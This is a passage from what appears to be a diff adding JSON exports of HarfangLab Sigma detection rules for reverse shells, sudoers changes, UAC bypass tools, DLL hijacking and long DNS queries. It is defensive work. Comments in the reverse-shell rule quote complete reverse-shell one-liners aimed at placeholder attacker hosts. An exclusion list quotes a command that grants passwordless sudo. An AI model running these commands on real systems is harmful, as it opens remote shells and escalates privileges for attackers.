+  "content": "title: Reverse Shell Execution from Command-line\nid: 2bade688-d13f-4317-9d07-3994ff35201f\ndescription: |\n    Detects different suspicious usages of the shell that are related to reverse shells.\n    A reverse shell is shell session that is initiated from a remote machine.\n    Attackers often use reverse shell to bypass firewall restrictions.\n    It is recommended to investigate the process tree for suspicious activities.\nreferences:\n    - https://hacktricks.wiki/en/generic-hacking/reverse-shells/linux.html\n    - https://www.revshells.com/\n    - https://attack.mitre.org/techniques/T1059/004/\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2022/07/01\nmodified: 2026/03/17\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - attack.t1559\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.NetworkActivity\n    - classification.Linux.Behavior.RemoteShell\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_command:\n        CommandLine|contains:\n            - 'http://reverse-shell.sh/'\n            - 'https://reverse-shell.sh/'\n            - 'sh -i*>*/dev/tcp/*'\n            - 'sh -i*>*/dev/udp/*'\n            - 'exec *<>*/dev/tcp/*'\n            - 'exec *<>*/dev/udp/*'\n            - 'sh*0>*/dev/tcp/'\n            - 'sh*0>*/dev/udp/'\n            - 'sh -i <&3 >&3 2>&3'\n            # openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>\n            - 's_client*-connect*:*|*sh*|*s_client*-connect*:*'\n            # mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP_ADDR:443 > /tmp/s; rm /tmp/s\n            - '2>&1*openssl*s_client'\n            # zsh -c 'zmodload zsh/net/tcp && ztcp 10.10.10.10 9001 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'\n            - 'zmodload zsh/net/tcp * ztcp'\n\n    # awk 'BEGIN {s = \"/inet/tcp/0/<IP>/<PORT>\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null\n    selection_awk_protocol:\n        CommandLine|contains:\n            - '/inet/tcp/'\n            - '/inet/udp/'\n    selection_awk_command:\n        CommandLine|contains|all:\n            - 'BEGIN '\n            - 'printf'\n            - 'getline '\n            - 'close('\n\n    exclusion_localhost:\n        CommandLine|contains:\n            - '/dev/tcp/127.0.0.1/'\n            - '/dev/tcp/localhost/'\n            - '/dev/udp/127.0.0.1/'\n            - '/dev/udp/localhost/'\n\n    exclusion_commandline:\n        CommandLine|contains:\n            - '/dev/tcp/$HOST/$PORT'\n            - '/dev/tcp/${host}/${port}'\n\n    exclusion_containerd:\n        - ParentImage:\n            - '/bin/runc'\n            - '/bin/containerd-shim-runc-v2'\n            - '/usr/bin/containerd-shim-runc-v2'\n        - Ancestors|contains:\n            - '|/bin/runc|'\n            - '|/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    condition: (selection_command or all of selection_awk_*) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2bade688-d13f-4317-9d07-3994ff35201f",
+  "rule_name": "Reverse Shell Execution from Command-line",
+  "rule_description": "Detects different suspicious usages of the shell that are related to reverse shells.\nA reverse shell is shell session that is initiated from a remote machine.\nAttackers often use reverse shell to bypass firewall restrictions.\nIt is recommended to investigate the process tree for suspicious activities.\n",
+  "rule_creation_date": "2022-07-01",
+  "rule_modified_date": "2026-03-17",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2bb34ffc-2356-4191-b774-bc4fc82ee828",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.712525Z",
+  "creation_date": "2026-03-23T11:45:34.612480Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612488Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/CraigHRowland/status/1580658905910108160/photo/1",
+    "https://attack.mitre.org/techniques/T1548/003/"
+  ],
+  "name": "t1548_003_sudo_config_modified_linux.yml",
+  "content": "title: Sudo Configuration Modified (Linux)\nid: 2bb34ffc-2356-4191-b774-bc4fc82ee828\ndescription: |\n    Detects a suspicious attempt to modify the content of '/etc/sudoers' or any file within '/etc/sudoers.d'.\n    These files contain the configuration of the 'sudo' utility, used to give temporary privileges to an application.\n    Their modification can be an attempt to elevate privileges.\n    It is recommended to investigate the process responsible for this action for suspicious activities.\nreferences:\n    - https://twitter.com/CraigHRowland/status/1580658905910108160/photo/1\n    - https://attack.mitre.org/techniques/T1548/003/\ndate: 2022/10/27\nmodified: 2026/03/20\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.003\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.SystemModification\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.PrivilegeEscalation\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path:\n            - '/etc/sudoers'\n            - '/etc/sudoers.d/*'\n        - TargetPath:\n            - '/etc/sudoers'\n            - '/etc/sudoers.d/*'\n\n    filter_access_old:\n        Kind: 'access'\n        Permissions: 'read'\n\n    filter_access_new:\n        Kind:\n            - 'read'\n            - 'remove'\n            - 'chmod'\n            - 'chown'\n\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n\n    exclusion_dpkg_cmds:\n        - ProcessCommandLine|contains:\n            - '/usr/bin/dpkg-'\n            - '/usr/sbin/dpkg-'\n            - '/usr/bin/python* /usr/bin/reconfigure'\n        - ProcessParentCommandLine|contains:\n            - '/usr/bin/dpkg-'\n            - '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains:\n            - '/usr/bin/dpkg-'\n            - '/usr/sbin/dpkg-'\n\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n\n    exclusion_rpm:\n        - ProcessImage: '/usr/bin/rpm'\n        - ProcessGrandparentImage: '/usr/bin/rpm'\n\n    exclusion_pacman:\n        ProcessImage: '/usr/bin/pacman'\n\n    exclusion_puppet:\n        - ProcessImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessCommandLine|startswith: '/usr/bin/ruby /usr/bin/puppet'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/local/bin/dockerd'\n            - '/snap/docker/*/bin/dockerd'\n        - ProcessGrandparentImage: '/usr/bin/dockerd'\n        - ProcessAncestors|contains: '|/usr/bin/dockerd|'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_common:\n        - ProcessImage:\n            - '/usr/bin/rm'\n            - '/bin/chmod'\n            - '/usr/bin/chmod'\n            - '/bin/chown'\n            - '/usr/bin/chown'\n            - '/kaniko/executor'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/packagekitd'\n            - '/usr/bin/podman'\n            - '/usr/bin/touch'\n            - '/usr/bin/dpkg-statoverride'\n            - '/usr/sbin/cfagent'\n            - '/usr/sbin/adsysd'\n            - '/bin/busybox'\n            - '/usr/bin/rsync'\n            - '/usr/bin/dos2unix'\n            - '/snap/snapd/*/usr/lib/snapd/snap-confine'\n        - ProcessGrandparentImage:\n            - '/kaniko/executor'\n            - '/usr/bin/runc'\n            - '/usr/bin/containerd-shim-runc-v2'\n            - '/usr/bin/podman'\n\n    # template_exclusion_ansible\n\n    exclusion_salt:\n        - ProcessCommandLine: '/usr/bin/python* /usr/bin/salt-minion'\n        - ProcessImage: '/opt/saltstack/salt/bin/python?.??'\n\n    exclusion_cloud-init:\n        ProcessCommandLine|startswith: '/usr/bin/python? /usr/bin/cloud-init'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_sophos:\n        ProcessParentImage: '/opt/sophos-av/engine/_/savd.?'\n\n    exclusion_aws:\n        ProcessParentImage: '/usr/bin/ssm-agent-worker'\n\n    exclusion_rename:\n        Kind: 'rename'\n        ProcessImage:\n            - '/usr/bin/vi'\n            - '/usr/bin/vim'\n            - '/usr/bin/vim.basic'\n        TargetPath:\n            - '/etc/sudoers~'\n            - '/etc/sudoers.d/*~'\n\n    exclusion_temp_file:\n        - ProcessImage: '/usr/bin/sed'\n          Path: '/etc/sed??????'\n        - ProcessImage: '/usr/bin/sed'\n          TargetPath: '/etc/sed??????'\n\n    exclusion_cyberwatch:\n        ProcessGrandparentCommandLine|contains:\n            - '|| echo \"# cyberwatch privileges\" | sudo tee -a /etc/sudoers'\n            - '|| echo \"Defaults:cyberwatch !requiretty\" | sudo tee -a /etc/sudoers'\n            - '|| echo \"cyberwatch ALL=(ALL) NOPASSWD:ALL\" | sudo tee -a /etc/sudoers'\n\n    exclusion_buildah:\n        ProcessGrandparentImage: '/usr/bin/buildah'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2bb34ffc-2356-4191-b774-bc4fc82ee828",
+  "rule_name": "Sudo Configuration Modified (Linux)",
+  "rule_description": "Detects a suspicious attempt to modify the content of '/etc/sudoers' or any file within '/etc/sudoers.d'.\nThese files contain the configuration of the 'sudo' utility, used to give temporary privileges to an application.\nTheir modification can be an attempt to elevate privileges.\nIt is recommended to investigate the process responsible for this action for suspicious activities.\n",
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2026-03-20",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2bbd2cab-7189-4801-aff8-def8972e59db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606241Z",
+  "creation_date": "2026-03-23T11:45:34.606245Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606252Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_akagi.yml",
+  "content": "title: UACMe HackTool Executed\nid: 2bbd2cab-7189-4801-aff8-def8972e59db\ndescription: |\n    Detects the execution of UACMe (Akagi) User Account Control bypass toolkit.\n    UACMe is a well-known privilege escalation tool that contains multiple techniques to bypass Windows UAC protection mechanisms.\n    It is frequently used by attackers after initial access to elevate privileges without triggering UAC prompts.\n    It is recommended to investigate the process ancestry and any subsequent high-privilege process creations.\nreferences:\n    - https://github.com/hfiref0x/UACME\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2021/10/27\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.UACMe\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'Akagi.exe'\n        InternalName: 'Akagi'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2bbd2cab-7189-4801-aff8-def8972e59db",
+  "rule_name": "UACMe HackTool Executed",
+  "rule_description": "Detects the execution of UACMe (Akagi) User Account Control bypass toolkit.\nUACMe is a well-known privilege escalation tool that contains multiple techniques to bypass Windows UAC protection mechanisms.\nIt is frequently used by attackers after initial access to elevate privileges without triggering UAC prompts.\nIt is recommended to investigate the process ancestry and any subsequent high-privilege process creations.\n",
+  "rule_creation_date": "2021-10-27",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2bc7247d-de5a-436c-a772-bb81fb27eda8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609754Z",
+  "creation_date": "2026-03-23T11:45:34.609757Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609765Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@boutnaru/the-windows-process-journey-runlegacycplelevated-exe-93f040f78c54",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_runlegacycplelevated.yml",
+  "content": "title: RunLegacyCPLElevated Executed\nid: 2bc7247d-de5a-436c-a772-bb81fb27eda8\ndescription: |\n    Detects the execution of RunLegacyCPLElevated.exe, a legitimate Windows binary used for running a legacy control panel applet in elevated mode.\n    Adversaries may use RunLegacyCPLElevated to execute CPL file with high privileges.\n    It is recommended to check child processes of RunLegacyCPLElevated for suspicious activities.\nreferences:\n    - https://medium.com/@boutnaru/the-windows-process-journey-runlegacycplelevated-exe-93f040f78c54\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2025/03/10\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.RunLegacyCPLElevated\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        - ProcessName: 'RunLegacyCPLElevated.EXE'\n        - ProcessOriginalFileName: 'RunLegacyCPLElevated.EXE'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2bc7247d-de5a-436c-a772-bb81fb27eda8",
+  "rule_name": "RunLegacyCPLElevated Executed",
+  "rule_description": "Detects the execution of RunLegacyCPLElevated.exe, a legitimate Windows binary used for running a legacy control panel applet in elevated mode.\nAdversaries may use RunLegacyCPLElevated to execute CPL file with high privileges.\nIt is recommended to check child processes of RunLegacyCPLElevated for suspicious activities.\n",
+  "rule_creation_date": "2025-03-10",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2bdea909-ca39-4efc-bb11-094f0831e19b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593230Z",
+  "creation_date": "2026-03-23T11:45:34.593234Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593242Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_getmac.yml",
+  "content": "title: DLL Hijacking via getmac.exe\nid: 2bdea909-ca39-4efc-bb11-094f0831e19b\ndescription: |\n    Detects potential Windows DLL Hijacking via getmac.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'getmac.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\fastprox.dll'\n            - '\\framedynos.dll'\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n            - '\\wbemprox.dll'\n            - '\\wbemsvc.dll'\n            - '\\wkscli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2bdea909-ca39-4efc-bb11-094f0831e19b",
+  "rule_name": "DLL Hijacking via getmac.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via getmac.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2c30d455-a333-49ed-82ac-70467657685d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612914Z",
+  "creation_date": "2026-03-23T11:45:34.612918Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612956Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/",
+    "https://attack.mitre.org/techniques/T1048/003/",
+    "https://attack.mitre.org/techniques/T1568/003/"
+  ],
+  "name": "t1071_004_long_dns_request_linux.yml",
+  "content": "title: Abnormally Long DNS Name Resolved (Linux)\nid: 2c30d455-a333-49ed-82ac-70467657685d\ndescription: |\n    Detects an abnormally long DNS query, usually associated with DNS tunneling.\n    Adversaries may use DNS protocol to communicate with their C&C.\n    It is recommended to check the content of the request and for suspicious behavior by the process making the request.\nreferences:\n    - https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/\n    - https://attack.mitre.org/techniques/T1048/003/\n    - https://attack.mitre.org/techniques/T1568/003/\ndate: 2024/09/26\nmodified: 2025/09/09\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.004\n    - attack.exfiltration\n    - attack.t1048.003\n    - classification.Linux.Source.DnsQuery\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    product: linux\n    category: dns_query\ndetection:\n    selection:\n        ProcessImage|contains: '?'\n        QueryName|re: '[a-zA-Z0-9.-]{255}'\n\n    exclusion_neterror:\n        QueryName|startswith: 'about:neterror\\?e=redirectloop&u=https%3a//'\n\n    exclusion_glpi:\n        - ProcessImage: '/usr/bin/perl'\n          ProcessCommandLine|contains: 'glpi-agent'\n        - ProcessParentImage: '/usr/bin/perl'\n          ProcessCommandLine|contains: 'glpi-agent'\n\n    exclusion_nagios:\n        ProcessParentImage: '/usr/sbin/nrpe'\n\n    exclusion_puppet:\n        ProcessParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2c30d455-a333-49ed-82ac-70467657685d",
+  "rule_name": "Abnormally Long DNS Name Resolved (Linux)",
+  "rule_description": "Detects an abnormally long DNS query, usually associated with DNS tunneling.\nAdversaries may use DNS protocol to communicate with their C&C.\nIt is recommended to check the content of the request and for suspicious behavior by the process making the request.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-09-09",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.003",
+    "attack.t1071.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2c3aa5ca-f30f-4e2e-924d-43c8087144f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079552Z",
